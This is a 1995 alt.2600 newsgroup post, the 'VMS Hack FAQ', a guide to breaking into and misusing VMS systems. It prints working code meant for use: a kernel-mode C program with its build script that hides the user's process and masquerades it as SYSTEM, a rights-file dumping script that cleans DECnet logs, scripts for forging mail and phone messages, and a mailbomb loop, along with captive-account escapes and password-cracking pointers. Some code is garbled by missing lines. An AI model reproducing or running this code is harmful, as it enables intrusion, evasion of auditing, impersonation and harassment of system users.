VMS Hack FAQ part Aug VMS

Found at: 0x1bi.net:70/textfiles/file?hacking/VMS/vms.faq

From: anon-remailer@utopia.hacktic.nl (Anonymous)
Newsgroups: alt.2600
Subject: VMS Hack FAQ (part 1)
Date: 18 Aug 1995 06:45:14 +0200
		- VMS HACK FAQ (Frequently Ask Questions) -
			  - Beta 0.02 Release -
			 originally by The Beaver
			    updated by Tsywt  
	This article contain the answers to some frequently asked question
	(Hence,  the name FAQ) about hacking the VMS operating system. 
	"Why a VMS Hacking FAQ?"
	Several reasons.    Once and a while,   A escape from Unix is
	very,  very nice.   Another reason is that is art of 
	VMS hacking has since vanished,  and its replacement are
	statements like,  "Hacking VMS is impossible", "VMS is
	to cryptic to use",  and as always,  "Man,  VMS sucks". 
	These are generally statements by people who know almost 
	zero about VMS.   I don't want to go into a "which OS is
	better",  because that would defeat the purpose of this 
	file,  but in my personal opinion,   both OS's have 
	there advantages/disadvantages. 
	I have,  however,  written this FAQ with a Unix overtone
	to it,  to help the reader understand what is trying to
	be accomplished in some examples. 
	The article may be freely redistributed in its entirety provide
	that credits are not altered or removed.   It may not be 
	sold for profit or incorporated in commercial documents without
	the written permission of the author(s). 
	This is the beta release of this article,   which means,  
	the article is still in the working,  and is not complete. 
	Submissions,  corrections,  comments,  input,  complaints, 
	bomb threats,   cash,  etc.,  should be directed toward
	the alt.2600 newsgroup. 
More Common Newbie Questions:
    /etc/passwd file??!?!?!")
VMS Mail Hack Routines:
VMS Phone Hack Routines:
User/Image Privilege Information:
DECNetwork Information.
TCP/IP Connected VMS Machines. 
    if FINGER is disabled")
    another so it appears I am running a different image?")
		-      More Common Newbie Questions      -
	VMS (Virtual Memory System) runs on Digital Equipment Corp. 
	(DEC - pronounced,  "DECK") VAX (Virtual Address eXtension)
	and the newer Alpha's.   The user uses DCL (DEC Command
	Language) to interact with the computer.  These commands
	and there syntax are completely different then those of
	Unix and Unix-like operating systems,  thus a completely
	different mindset is often required (this is the authors
	There is no /etc/passwd file.  All user information is kept in
	a file called SYSUAF.DAT,  which is stored in the directory
	(or actual the logical) SYS$SYSTEM.   This file is usually
	not readable by "normal" users.
	VMS standard accounts (SYSTEM, FIELD, etc) no longer have default
	SYS$SYSTEM:RIGHTSLIST.DAT. This file has a list of users and
	their respective rights identifiers. Since the file isn't very
	readable, an extraction program is a nice tool to have. The
	following DCL procedure is just an example of such a program and
	probably shouldn't be used, especially on a large system, because
	of its inefficiency. It should lead you in the right direction
$! Program: Extract_Rights.Com
$! Author: Tsywt
$ On Error Then $Goto Exit
$ If F$mode() .Nes. "INTERACTIVE" then goto BATCH_END
$ Inquire system "Please enter system"
$ If system .eqs. ""
$  Then
$   Open/share in sys$system:rightslist.dat
$ Else
$   Open/share in 'system'::sys$system:rightslist.dat
$ Endif
$ Open/write out users.dat
$ Read/nolock in record
$ Read/nolock in record /end=Done_Users
$! If not at start of environmental identifiers
$ If f$extract(16,6,record) .nes. "BATCH "
$  Then
$   Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
$ Else
$   Goto Done_Users
$ Endif
$ Goto Read_Loop1
$ Close out
$ Open/write out rights.dat
$ Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
$ Read/nolock in record /end=Done_Rights
$! holder is null
$ If f$extract(8,1,record) .eqs. ""
$  Then
$   Write out f$extract(0,4,record) + " " + f$extract(16,32,record)
$ Endif
$ Goto Read_Loop7
$ Close out
$ Open/write out users_ids.dat
$ Open in2 users.dat
$ position = 0
$ Read/nolock in2 record1 /end=Done_Program
$! Go to first record in file because can't do key search on id
$ Open/share in3 rights.dat
$! Search holders for user id
$ Read/nolock/error=Done_No_Id in -
$! Kluge because nulls cause problems on key search
$ If f$extract(8,4,record2) .nes. f$extract(0,4,record1)
$  Then
$   Read/nolock in record2/end=Done_No_Id
$   Goto Read_Loop4
$ Endif
$! Move to next holder match
$ temp_pos = position
$ If temp_pos .gt. 0
$  Then
$   Read/nolock in record2/end=Read_Loop2
$   If f$extract(8,4,record2) .nes. f$extract(0,4,record1)
$    Then
$     Goto Read_Loop2
$   Endif
$   temp_pos = temp_pos - 1
$   Goto Read_Loop5
$ Endif
$! Look for identifier id
$ Read/nolock in3 record3/end=Done_No_Id
$ If f$extract(0,4,record3) .eqs. f$extract(0,4,record2)
$  Then
$   Write out f$extract(5,32,record1) + " " + f$extract(5,32,record3)
$   position = position + 1
$   Close in3
$   Goto Read_Loop3
$ Endif
$ Goto Read_Loop6
$ Write out f$extract(5,32,record1)
$ Close in3
$ Goto Read_Loop2
$ Close/error=Close_In2 in
$ Close/error=Close_Out in2
$ Close out
$ Delete users.dat.
$ Delete rights.dat.
$ If system .nes. ""
$  Then
$   Submit/after="+:15"/keep/params=('system') extract_rights.com
$ Endif
$ Exit
$! Clean up DECnet logging
$ Dir 'p1'::netserver.log
$ Purge 'p1'::netserver.log
$ Exit
	The Unix program, "Crack" will not work,  but there are password
	guessing routines available.
	The best on I have seen is "GUESS_PASSWORD.EXE",  which can be
	obtained from the following sites.
	In order for the routine to work,  you need access to the
	SYSUAF.DAT.  This version works on both OpenVMS VAX and 
	There is also a program available for the PC called VMSCrack 1.0.
	Once again, it requires that you have access to the SYSUAF.DAT
	so that you can copy it to the PC.
	Yes.  Below is the code needed to make your process invisible
	to "FINGER",  "SHOW USERS",  etc...
	Also, check out Bruce Ellis' "Hitchhiker's Guide to VMS"
	First,  create the following file:
---------------------------------[Cut Here]-----------------------------------
$ save_verify = 'f$verify(0)'
$ system = "vax"        !Set to "alpha" for Alpha
$!  File to build Ehud Gavron's INVISIBLE
$!  Author:     Hunter Goatley
$ say := write sys$output
$ on error then goto common_exit
$ on contrl_y then goto common_exit
$ say "Extracting $JIBDEF and $PCBDEF from LIB.MLB...."
$ library/macro/extr=$JIBDEF/out=jibdef.mar sys$library:lib.mlb
$ library/macro/extr=$PCBDEF/out=pcbdef.mar sys$library:lib.mlb
$ say "Converting $*DEF macros to C .H files...."
$ call convert_to_h jibdef.mar
$ call convert_to_h pcbdef.mar
$ say "Compiling INVISIBLE...."
$ cc invisible
$ say "Linking INVISIBLE...."
$ link/notrace invisible,invisible.opt_'system'/opt
$ say "INVISIBLE build completed"
$ common_exit:
$       exit f$verify(save_verify).or.1
$ convert_to_h: subroutine
$ name = f$parse(p1,"","","NAME")
$ open/read tmp 'p1'
$ create 'name'.H
$ open/append tmph 'name'.H
$ cvt_loop:
$    read/error=cvt_fin tmp line
$    if f$extract(0,4,line).nes."$EQU" then goto cvt_loop
$    write tmph "#define ",f$extract(4,255,line)
$    goto cvt_loop
$ cvt_fin:
$    close tmp
$    close tmph
$ write sys$output "C header file ''name'.H created"
$ exit
$ endsubroutine
-------------------------------[End Of File]-----------------------------------
	Next is the C Code for the "INVISIBLE" routine....
---------------------------------[Cut Here]------------------------------------
 * Invisible    - Make a process invisible and visible again.  Originally
 *                written in MACRO32.  Now in C so it runs on Alpha too.
 *      Option file invisible.opt:
 *              ALPHA:  sys$loadable_images:sys$base_image.exe/share
 *              VAX:    sys$system:sys.stb/selective_search
 *      Build:
 *              $ cc invisible
 *              $ link invisible,invisible/opt
 *      Usage:
 *              $ run invisible
 *  Ehud Gavron
 *  ACES Consulting Inc.
 *  Gavron@ACES.COM
 *      14-Oct-1992     Ehud Gavron     Ported to C, Alpha, ANSI, and 
 *                                      everything else.
#define module_name INVISIBLE
#define module_version "V1.0.0"
#ifdef __alpha
#pragma module module_name module_version
#else /* __vax */
#module module_name module_version
#endif /* __alpha */
#ifndef __alpha
#define sys$gl_ijobcnt sys$gw_ijobcnt
#include "jibdef.h"     /* Extracted from LIB.MLB and massaged into C form */
#include "pcbdef.h"     /* Extracted from LIB.MLB and massaged into C form */
typedef union {
	struct {
		short s_buflen;
		short s_itemcode;
		char *s_bufaddr;
		int *s_retlen;
		} s;
	unsigned long end;
#define buflen          s.s_buflen
#define itemcode        s.s_itemcode
#define bufaddr         s.s_bufaddr
#define retlen          s.s_retlen
	int     l_uic;
	int     l_namelen;
#ifdef __alpha
	int     l_jobtype;
	char    b_jobtype;
	char    b_terminal;
	char    t_lname[PCB$S_LNAME + 1];
	char    t_username[JIB$S_USERNAME + 1];
nt sysuic = 0x00010004;
char sysusername[] = "SYSTEM        ";
char namebuf[PCB$S_LNAME];
#ifdef __alpha
	int sys$cmkrnl(),sys$exit(),invisible_k();
	int ss_stat;
	lnm_itmlst[0].buflen = sizeof(isb);
	lnm_itmlst[0].itemcode = LNM$_STRING;
	lnm_itmlst[0].bufaddr = (char *)&isb;
	lnm_itmlst[0].retlen = &lnm_retlen;
	lnm_itmlst[1].end = 0;
	jpi_itmlst[0].buflen = PCB$S_LNAME;
	jpi_itmlst[0].itemcode = JPI$_PRCNAM;
	jpi_itmlst[0].bufaddr = (char *)&isb.t_lname;
	jpi_itmlst[0].retlen = (int *)&isb.l_namelen;
	jpi_itmlst[1].end = 0;
	prcnam_desc.dsc$a_pointer = (char *)&isb.t_lname;
	prcnam_desc.dsc$w_length = PCB$S_LNAME;
	prcnam_desc.dsc$b_dtype = DSC$K_DTYPE_T;
	prcnam_desc.dsc$b_class = DSC$K_CLASS_S;
	prcnam.dsc$a_pointer = (char *)&namebuf;
	prcnam.dsc$w_length = PCB$S_LNAME;
	prcnam.dsc$b_dtype = DSC$K_DTYPE_T;
	prcnam.dsc$b_class = DSC$K_CLASS_S;
	ss_stat = sys$cmkrnl(invisible_k,0);
	(void) sys$exit(ss_stat);       
nt invisible_k()
	int sys$getjpiw(),sys$crelnm(),sys$fao(),sys$setprn();
	int strncpy(),sys$exit(),sys$trnlnm(),sys$dellnm();
	int *a_long;
	int acmode = PSL$C_KERNEL;
#pragma nostandard                      /* Oh well */
	globalref ctl$gl_pcb;
	globalref sys$gl_ijobcnt;
#pragma standard
	int ss_stat;
	char *pcb;
	char *jib;
	long *sts;
	long *own;
	char *p;
	long *q;
	int loop = 0;
	pcb = (char *)ctl$gl_pcb;
	if (pcb == 0) {
	q = (long *)((char *)pcb + PCB$L_JIB);
	jib =(char *)  *q;
	sts = (long *)((char *)pcb + PCB$L_STS);
	if (*sts & PCB$M_INTER) {       /* Do stealth mode */
	   *sts = *sts^PCB$M_INTER;
	   *sts = *sts|PCB$M_NOACNT;
	   own = (long *)((char *)pcb + PCB$L_OWNER);
	   if (*own == 0) {  /* We are not a subprocess  */
	   p = (char *)pcb + PCB$T_TERMINAL;
	   isb.b_terminal = *p;
	   *p = '\0'; 
#ifdef __alpha
	   q = (long *)((char *)jib + JIB$L_JOBTYPE);
	   isb.l_jobtype = *q;
	   *q = 0;
	   p = (char *)jib + JIB$B_JOBTYPE;
	   isb.b_jobtype = *p;
	   *p = '\0';
	   strncpy((char *)&isb.t_username,
		   (char *)(jib + JIB$T_USERNAME),
	   strncpy((char *)(jib + JIB$T_USERNAME),
		   (char *)&sysusername,
	   q = (long *)((char *)pcb + PCB$L_UIC);
	   isb.l_uic = *q;
	   *q = sysuic;
	   ss_stat = sys$getjpiw(0,0,0,&jpi_itmlst,0,0,0);
	   if (!(ss_stat & 1)) return(ss_stat);
	   ss_stat = sys$crelnm(0,
	   if (!(ss_stat & 1)) return(ss_stat);
	   do {
	      prcnam.dsc$w_length = PCB$S_LNAME;
	      ss_stat = sys$fao((char *)&fao_prcnam,
				(char *)&prcnam.dsc$w_length,
				(char *)&prcnam,
	      if (!(ss_stat &1)) return(ss_stat);
	      ss_stat = sys$setprn((char*)&prcnam);
	      } while (ss_stat == SS$_DUPLNAM);      
	else {  /* unstealth */
	   ss_stat = sys$trnlnm(0,
	   if (!(ss_stat & 1)) return(ss_stat);
	   ss_stat = sys$dellnm(&lnm_tabnam,
	   if (!(ss_stat & 1)) return(ss_stat);
	   *sts = *sts|PCB$M_INTER;
	   *sts = *sts^PCB$M_NOACNT;
	   own = (long *)((char *)pcb + PCB$L_OWNER);
	   if (*own == 0) {  /* We are not a subprocess  */
	   q = (long *)((char *)pcb + PCB$L_UIC);
	   *q = isb.l_uic;
	   p = (char *)pcb + PCB$T_TERMINAL;
	   *p = isb.b_terminal;
#ifdef __alpha
	   q = (long *)((char *)jib + JIB$L_JOBTYPE);
	   *q = isb.l_jobtype;
	   p = (char *)jib + JIB$B_JOBTYPE;
	   *p = isb.b_jobtype;
	   strncpy((char *)(jib + JIB$T_USERNAME),
		   (char *)&isb.t_username,
	   prcnam_desc.dsc$w_length = (short)isb.l_namelen;
	   ss_stat = sys$setprn(&prcnam_desc);
#ifndef __alpha
nt strncpy(a,b,c)
char *a,*b;
nt c;
	for (; c > 0; c--) {
	  *a++ = *b++;
--------------------------------[End Of File]----------------------------------
	After these files are created,   type in the following at your
	DCL prompt:
$ @build_invisible      ! This will build our INVISIBLE.EXE routine.
$ run invisible         ! One the build is complete. 
	You should be completely "cloaked".
	To obtain full source, readme files,  etc,  you can obtain this
	program from:
	This is done via the "SET DEFAULT" command.  In the following 
$ SET DEFAULT device:[directory]
	VMS uses a standard hierarchy system,  in which devices and 
	directory's are separated.  For example,  our home device/directory 
	might be:
	DISK3:  would represent the device that we are on/using
	while,  [USR.JOEHACKER] would signify the actual directory
	on that device that we are using.  So,  to change directory's, 
	we could type:
	If [USR.BOB] is a existing directory,  this would now be our
	current path (and we would still be located on the DISK3: 
	device.  If we wanted to simply back out one level (to the 
	[USR]) on that device,  we would issue the following command:
	The "[-]" signifies one directory back.  So if our path is,
	[USR.BOB.HACKING.VMS.PROGRAMS],  and we want to get to the 
	[USR.BOB] directory,  instead of typing the entire path 
	again,  we could simply type:
	"[---]" means,  back out three levels of the hierarchy. 
	There can be several devices on one VMS system (Device names
	can be obtained via a "SHOW DEVICES").  While your 
	home directory might be on DISK3,   another users could
	be on device DISK2.   To switch devices, we can add in
	the device name,  followed by the directory (if needed). 
	So,  if you need to get to a users who stores information
	in the DISK2:[REALLY.SECRET.STUFF] directory,  you could
	type the following DCL command:
	Or if we are currently in the "DISK3:[REALLY]" and we want
	to get to the information in the "DISK2:[REALLY]" directory,
	we could simply type 
	And the rest would be carried over. 
	In the event that you need to get to the top of the hierarchy
	(Unix equivelant:  "cd /"),  SET DEFAULT (to any disk structured
	device) to "[000000]".  For example,  to get to the very
	top of the hierarchy on device DISK2,  you would type. 
$ SET DEFAULT DISK2:[000000]
	VMS will also allow you to SET DEFAULT to a directory that does
	not exist.  When this happens,  the operating system will 
	inform you of this when you try to issue a command that requires
	some sort of file I/O.   If at any point you get completely 
	lost,  you can return to your "home" directory by typing
	 I do in Unix?". 
	By default,  no.  There are two things that you can do. 
	One,  add the following line to your "LOGIN.COM" (see
	where my .profile in VMS' for more information)
$ CD :== SET DEFAULT    ! I am hate typing that long "SET DEF" command
	Or you can us the following .COM file,  which will guarantee
	that you eat as many resources as you can......
	      [Taken from Phrack,  Vol. 2.  Issue 19.,  File 2]
			   [ Coded By The Mentor ]
			      Code for CD.COM
$! CD.COM v6.09
$! The Ultimate Change Directory Command.
$  hdir     = f$trnlnm("SYS$LOGIN")                 ! Home Directory
$  ndir     = f$edit(p1,"UPCASE")                   ! New  Directory
$  odir     = f$environment("DEFAULT")              ! Old  Directory
$  prompton = (f$edit(f$trnlnm("SYS$PROMPT"),"UPCASE") .eqs. "ON")
$  if (ndir .eqs. "")           then goto DISPLAY   ! No Dir
$  if (ndir .eqs. "*")          then goto DIRSEARCH ! Search for Dirs
$  if (ndir .eqs. "?")          then goto HELP      ! Instructions
$  length   = f$length(ndir)                        ! Fix up ndir
$  if (f$location("@",ndir) .eq. 0) .or. -
      (f$location("$",ndir) .eq. 0) then ndir = f$extract(1, length - 1, ndir)
$  right    = f$location("]",ndir) + 1
$  if (right .gt. length) then right = f$location(">", ndir)
$  if (right .le. length) then ndir  = f$extract(0, right, ndir)
$  if (f$trnlnm(ndir) .eqs. "") then goto CASESYM   ! Not Logical Name
$     ndir   = f$trnlnm(ndir)                       ! Logical Name
$     goto PARSE
$  if ("''&ndir'" .eqs. "")     then goto CASE0     ! Not Symbol
$     ndir = 'ndir'                                 ! Symbol
$     goto PARSE
$  CASE0:
$  len_ndir = f$length(ndir)                        ! Regular Dir
$  if (f$location("[", ndir) .lt. len_ndir) .or. -
      (f$location("<", ndir) .lt. len_ndir) then goto SETDIR
$  CASE1:                                           ! Home Dir
$  if ((ndir .nes. "HOME") .and. (ndir .nes. "\")) then goto CASE2
$     ndir = hdir
$     goto SETDIR
$  CASE2:                                           ! . .. .dir
$  if (f$location(".", ndir) .nes. 0) then goto CASE3
$     if (ndir .eqs. "..") then ndir = "-"
$     if (f$extract(0, 2, ndir) .eqs. "..") -
	 then ndir = "-" + f$extract(1, len_ndir - 1, ndir)
$     ndir = "[" + ndir + "]"
$     if (ndir .eqs. "[.]") then ndir = odir
$     goto SETDIR
$  CASE3:                                           ! :
$  if (f$location(":", ndir) .ge. len_ndir) then goto CASE4
$     left    = f$location(":", ndir) + 1
$     symbol  = f$extract(left, 1, ndir)
$     if (symbol .eqs. ":")  then goto CASE3B       ! :: Node
$     if ((symbol .eqs. "[") .or. (symbol .eqs. "<")) then goto SETDIR
$        ndir = f$extract(0, left, ndir) + "[" -
	      + f$extract(left, len_ndir - left+1, ndir) + "]"
$     goto SETDIR
$  CASE3B:                                          ! NODE::nothing
$  if (f$length(ndir)-1 .gt. left) then goto CASE3C
$     ndir = ndir + "[000000]"
$     goto SETDIR
$  CASE3C:                                          ! NODE::directory
$  if ((f$location("[", ndir) - f$location("<", ndir)) .ne. 0) -
      then goto SETDIR
$     ndir = f$parse(ndir,,,"NODE") + "[" + f$parse(ndir,,,"NAME") + "]"
$     goto SETDIR
$  CASE4:                                           ! dir
$  ndir = "[" + ndir + "]"
$  set default 'ndir'
$  if (f$parse("") .eqs. "") then goto DIRERROR
$  if ((ndir .nes. "") .and. prompton) then goto NODISPLAY
$     hnode = f$getsyi("NODENAME")
$     cnode = f$parse(f$trnlnm("SYS$DISK"),,,"NODE") - "::"
$     if (cnode .eqs. "") then cnode = hnode
$     cdir  = f$environment("DEFAULT")
$     write sys$output " "
$     write sys$output "          Home Node: ", hnode
$     write sys$output "     Home Directory: ", hdir
$     if (cdir .eqs. hdir) .and. (cnode .eqs. hnode) then goto DISPSKIP
$     write sys$output "       Current Node: ", cnode
$     write sys$output "  Current Directory: ", cdir
$     write sys$output " "
$  ndir = f$environment("DEFAULT")
$  if .not. prompton then goto END
$  if (f$length(ndir) .ge. 32) then goto TOOLONG
$  set prompt = 'ndir'" "
$  END:
$  exit
$  write sys$output " "
$  write sys$output "          ", ndir, " Directory does not exist!"
$  write sys$output " "
$  set default 'odir'
$  ndir = odir
$! Prompt Problems------------------------------------------------------------
$! Prompt is too long. Get rid of everything to the left of [ or <. If that
$! doesn't work, get rid of a subdirectory at a time.  As a last resort,
$! set the prompt back to $.
$  left     = f$location("[", ndir)
$  len_ndir = f$length(ndir)
$  if (left .ge. len_ndir) then left = f$location("<",ndir)
$  if (left .gt. 0) .and. (left .lt. len_ndir) -
      then ndir = f$extract(left, len_ndir - left, ndir)
$    if (f$length(ndir) .lt. 32) then goto SETPROMPT
$    left     = f$location(".", ndir) + 1
$    len_ndir = f$length(ndir)
$    if left .ge. len_ndir then ndir = "$ "
$    if left .ne. len_ndir -
	then ndir = "[*" + f$extract(left, len_ndir - left, ndir)
$! Wildcard Directory---------------------------------------------------------
$  error_message = f$environment("MESSAGE")
$  on control_y then goto DIREND
$  on control_c then goto DIREND
$  set message/nosev/nofac/noid/notext
$  write sys$output " "
$  dispct = 1
$  dirct  = 0
$  pauseflag = 1
$    userfile = f$search("*.dir")
$    if (userfile .eqs. "") .and. (dirct .ne. 0) then goto DIRMENU
$    if (userfile .eqs. "") then goto DIRNONE
$    dispct = dispct + 1
$    dirct  = dirct  + 1
$    on severe then $ userprot = "No Priv"
$    userprot = f$file_attributes(userfile,"PRO")
$    if userprot .nes. "No Priv" then userprot = " "
$    userfile'dirct' = "[." + f$parse(userfile,,,"NAME") + "]"
$    userprot'dirct' = userprot
$    lengthflag = (f$length(userfile'dirct') .gt. 18)
$    if lengthflag then write sys$output -
	f$fao("  !3SL   !34AS  ", dirct, userfile'dirct'), userprot'dirct'
$    if (.not. lengthflag) then write sys$output -
	f$fao("  !3SL   !20AS  ", dirct, userfile'dirct'), userprot'dirct'
$    if (dispct .lt. 8) then goto DIRLOOP
$    dirct  = dirct  + 1
$    userfile'dirct' = ""
$    dirct  = dirct  + 1
$    userfile'dirct' = ""
$    if pauseflag then goto DIRMENU
$    dispct = 0
$    goto DIRLOOP
$  write sys$output " "
$  if (userfile .eqs. "") then goto DIRMENU2
$     write sys$output "    M   More subdirectories"
$  if pauseflag then -
$     write sys$output "    N   More subdirectories/No pause"
$     write sys$output "    R   Re-Display subdirectories"
$     write sys$output "    Q   Quit (default)"
$  write sys$output " "
$  inquire dirchoice "  Select One"
$  write sys$output " "
$  if (dirchoice .gt. 0)    .and. -
      (dirchoice .le. dirct) then goto DIRCASEDIGIT
$  dirchoice = f$edit(dirchoice,"UPCASE")
$  if (dirchoice .eqs. "")  .or. -
      (dirchoice .eqs. "Q")  then goto DIRCASEBLANK
$  if (dirchoice .eqs. "M") .or. -
      (dirchoice .eqs. "N")  then goto DIRCASEMORE
$  if (dirchoice .eqs. "R")  then goto DIRCASERED
$  if (dirct .eq. 1)   then write sys$output -
      "  Select 1 to change to the ", userfile1, " subdirectory. "
$  revdirct = dirct
$  if (dispct .eq. 8) then revdirct = revdirct - 2
$  if (dirct .gt. 1)   then write sys$output -
      "  Valid subdirectory selections are 1 through ", revdirct, " (Octal)."
$  if (userfile'dirchoice' .eqs. "") then goto DIRCASERROR
$  ndir = userfile'dirchoice'
$  goto DIREND
$  write sys$output "  Subdirectory not changed."
$  write sys$output " "
$  goto DIREND
$  dispct = 0
$  if (dirchoice .eqs. "N") then pauseflag = 0
$  if (userfile .nes. "")   then goto DIRLOOP
$  write sys$output "  No more subdirectories to display."
$  dispct = 1
$     if (userfile'dispct' .eqs "") then goto DISPDONT
$     lengthflag = (f$length(userfile'dispct') .gt. 18)
$     if lengthflag then write sys$output -
	 f$fao("  !3SL   !34AS  ", dispct, userfile'dispct'), userprot'dispct'
$     if (.not. lengthflag) then write sys$output -
	 f$fao("  !3SL   !20AS  ", dispct, userfile'dispct'), userprot'dispct'
$     dispct = dispct + 1
$     if (dispct .le. dirct) then goto DISPLOOP
$  goto DIRMENU
$  write sys$output "No subdirectories to choose, or no directory privileges."
$  write sys$output " "
$  goto DIREND
$  set message 'error_message'
$  on control_y then exit
$  on control_c then exit
$  if (ndir .eqs. "*") then goto DISPLAY
$  goto PARSE
$  HELP:
$  type sys$input
	       CD.COM  Version 6  VMS Change Directory Command
			 Usage:  CD command/directory
CD         Display home directory,       CD ..       Change directory to the
	   current directory, node.      CD [-]      dir above current dir.
CD \       Change directory to your      CD ..sub    Change directory to a
CD HOME    SYS$LOGIN directory.          CD [-.sub]  "sideways" subdirectory.
CD dir     Change directory to the       CD *        Display/select the
CD [dir]   [dir] directory.                          available subdirectories.
CD .sub    Change directory to the       CD .        Reset current directory.
CD [.sub]  [.sub] subdirectory.          CD ?        Display CD instructions.
     CD :== @SYS$LOGIN:CD.COM                 DEFINE SYS$PROMPT "ON"
     To make CD available from                To have the VMS $ prompt
     any directory you change to.             display the current directory.
			      By The Mentor
$  goto END
	Once uploaded,  you should add the following line you your
$ CD :== @DEVICE:[PATH]CD.COM  ! Replace DEVICE/PATH with user information
	Easy.  There is none.  VMS startup routines (for personal accounts)
	can be found in the user's home directory under the name 
	"LOGIN.COM". Also check out the system-wide login routine at
	It is possible to setup "CAPTIVE" and "RESTRICTED" accounts under
	VMS. When setup correctly,  these can be difficult to break out of,
	however, in alot of cases, a simple control-C while the LOGIN.COM
	is executing.  Another method of keeping the LOGIN.COM 
	(or any commands for that fact) is to login with the 
	"/NOCOMMAND" flag.  This flag is placed after your username 
	at the USERNAME prompt,  and will bypass any account startup
	files/commands.    On a correctly setup captive account, 
	this will bomb out.    In the event that this fails,   some
	places slip up by allowing a parent to spawn off other
	processes.  For example,  if the captive account puts you
	into KERMIT, FTP,  or ALL-IN-ONE (Office automation/mail package), 
	it might be able to 'SPAWN' out to DCL or issue DCL commands. This
	can also  be prevented by simply setting up process limitation
	on the account.  
	There are many DEC VT spoofing programs around to find. One can
	even be found on page 32 in the Winter 94-95 issue of 2600: Hook
	by Mr.Bungle.
	Programs such as "SETUSER" and "GLOGIN" are in the public domain
	for privileged users to operate as other users. 
	Accounting information is kept in the file SYS$MANAGER:ACCOUNTNG.DAT
	A list of auditing options is available for the sys admin ($SET AUDIT).
	An intrusion database is part of the VMS security scheme
	"The Supervisor Series" (as reviewed in the Fall 94 issue of 2600)
	allows a privileged user to spy on and intervene in another user's
	on-line activities. It is public domain available at
	ftp.spc.edu /anonymous/macro32/savesets.
	There are also short programs out there for a privileged user to look
	at a user's command buffer.
		 -       VMSmail/SMTP Information     - 
       object logs are produced and readable by sys admins.
$! To send anonymous or fake messages(except for remote node system admins -
$! mail server logs) through the MAIL mailbox to any user logged on the NET;
$! must only have NETMBX privilege
$null[0,8] = 0
$remote_node = P1
$if P1 .eqs. "" then read sys$command remote_node   /prompt="node: "
$local_user = P2
$if P2 .eqs. "" then read sys$command local_user    /prompt="local user: "
$local_user := 'local_user                      ! remove blanks and lowercases
$real_remote_user = P2
$if P2 .eqs. "" then -
  read sys$command real_remote_user /prompt="real remote user: "
$real_remote_user := 'real_remote_user          ! remove blanks and lowercases
$remote_user = P3
$if P3 .eqs. "" then read sys$command remote_user /prompt="remote user: "
$remote_user := 'remote_user           ! remove blanks and lowercases
$subject = P4
$if P4 .eqs. "" then read sys$command subject       /prompt="subject: "
$filename = P5
$if P5 .eqs. "" then read sys$command filename      /prompt="file name: "
$filename := 'filename
$open/read/write slave 'remote_node'::"27="
$write slave "''local_user'"
$write slave "''real_remote_user'"
$read slave status
$write sys$output f$fao("Addressee status is: !XL",f$cvui(0,8,status))
$write slave null
$if filename .nes. ""
$ then
$  write slave "''remote_user'"
$  write slave "''subject'"
$  open/read/error=end_of_file file 'filename'
$  read/end=end_of_file file record
$  write slave "''record'"
$  goto loop
$ write slave "To whomever it concerns"
$ write slave "Demo of using VAXMail protocol"
$ write slave "This is message line"
$close/nolog file
$write slave null
$read slave status
$write sys$output f$fao("Delivery status is: !XL",f$cvui(0,8,status))
$close slave
	"I am attempting to send fake mail by connecting to the SMTP port,
but everytime I issue the 'mail from',  it gives me a 'Mailbox syntax
ncorrect', or 'Bad arguments'.  I try the standard format a *always*
use,  but it *still* gives me this crap!  What's the problem?"......
	Of course,  it is possible to send fake mail by connecting to
the VMS machines SMTP (Simple Mail Transfer Protocol) port (25), 
example,  the session below would *appear* that it should work...
telnet 25
Type ^] (decimal 29)  to return to NetBlazer
Telnet session 0 connected to bogus.add.com
mail from: bob@unknown
Telnet session 0 closed: EOF
	As you can see, however,  this is not the case.  Where is problem
lies is in the fact,  that alot of VMS sendmail routines require "<", and
">" around "mail from" and "rcpt to" commands,  and sometimes a address
(Especially the case with Multinet SMTP,  and Pathway's Wollangong 
Sendmail).   In order to get a good mailing address to "work",  try 
"mail from: ".   Some VMS SMTP services do not require
the address,  but in most cases,  the ">" and "<" are required.  The
the same as the "mail from".  I.E. - "rcpt to: " or "rcpt to:
	Don't be silly.  No...  Digital did not believe that sendmail
	bugs and holes were important enough to port (grin).  (It 
	has been rumored that one sendmail hole *was* actually ported,  
	but as of this time,  this has not be verified. 
	 people really good and eat 'bandwidth'."
	Like this,  below...  
$! Simple VMS Mailbomb routine. 
$! Please be someone human.   Don't do this crap.
$ say :== write sys$output
$ on error then goto err
$ if p4 .eqs. "" 
$ then 
$ say "Mailbomb V1.0                            Coded By The Beaver"
$ say "1995"
$ say ""
$ say "Usage:"
$ say "MAILBOMB [Msg Subject] [File to bomb with] [Username] [# of Times]"
$ exit
$ endif
$ A=1
$ loop:
$ mail/subject='p1' 'p2' 'p3' 
$ A = A + 1
$ if A .eqs. p4
$       then
$       say "Bomb Is Complete"
$       exit
$       endif
$ goto loop
$ err:
$ say "A Error has occured.  Be sure all file are present and correct"
$ exit
			 - VAXPhone Information -
	Example follows:
$! To send anonymous or fake messages(except for remote node system admins -
$! phone server logs) through the PHONE mailbox to any user logged on the NET,
$! similar to phone ringing messages broadcast to users' terminals; must only
$! have NETMBX privilege
$! Note:
$! This has the unfortunate side effect of kicking the user off his phone if 
$! its not a patched version.
$ debug = "F"
$ null_byte[0,8] = 0
$ true_byte[0,8] = 1
$ false_byte[0,8] = 0
$ id_rmt_user[0,8] = 7          !text = id of remote user, status rtn
$ ring_rmt_user[0,8] = 8        !text = 1 byte, true if first ring, sts rtn
$ hang_up[0,8] = 9              !link broken, no status
$ master_busy[0,8] = 10         !when requested to do other functions
$ master_answer[0,8] = 11       !from another master
$ master_reject[0,8] = 12       !from another master
$ slave_exit[0,8] = 13          !command to slave
$ text[0,8] = 14                !text >= 1 char frag
$ request_dir[0,8] = 15         !null returned when done
$ force_third_party[0,8] = 17   !text is id of 3rd party
$ on_hold[0,8] = 18             !put target on hold
$ off_hold[0,8] = 19            !take target off hold
$ status_unknown = 0    !Unknown problem
$ status_success = 1    !The operation was completed successfully.
$ status_isyntax = 2    !Invalid user syntax
$ status_nocomm = 3     !Slave could not communicate with user
$ status_missunam = 4   ! missing user name
$ status_nopriv = 5     !The slave does not have necessary privileges.
$ status_noexist = 6    !The specified Target user does not exist.
$ status_badterm = 7    !The Target's terminal cannot be used by PHONE.
$ status_logoff = 8     !The Target logged off during the procedure.
$ status_offhook = 9    !Target phone off hook (e.g., /NOBROADCAST set).
$ remote_node = P1
$ if P1 .eqs. "" then read sys$command remote_node   /prompt="node : "
$ remote_user = p2
$ if P2 .eqs. "" then read sys$command remote_user   /prompt="user : "
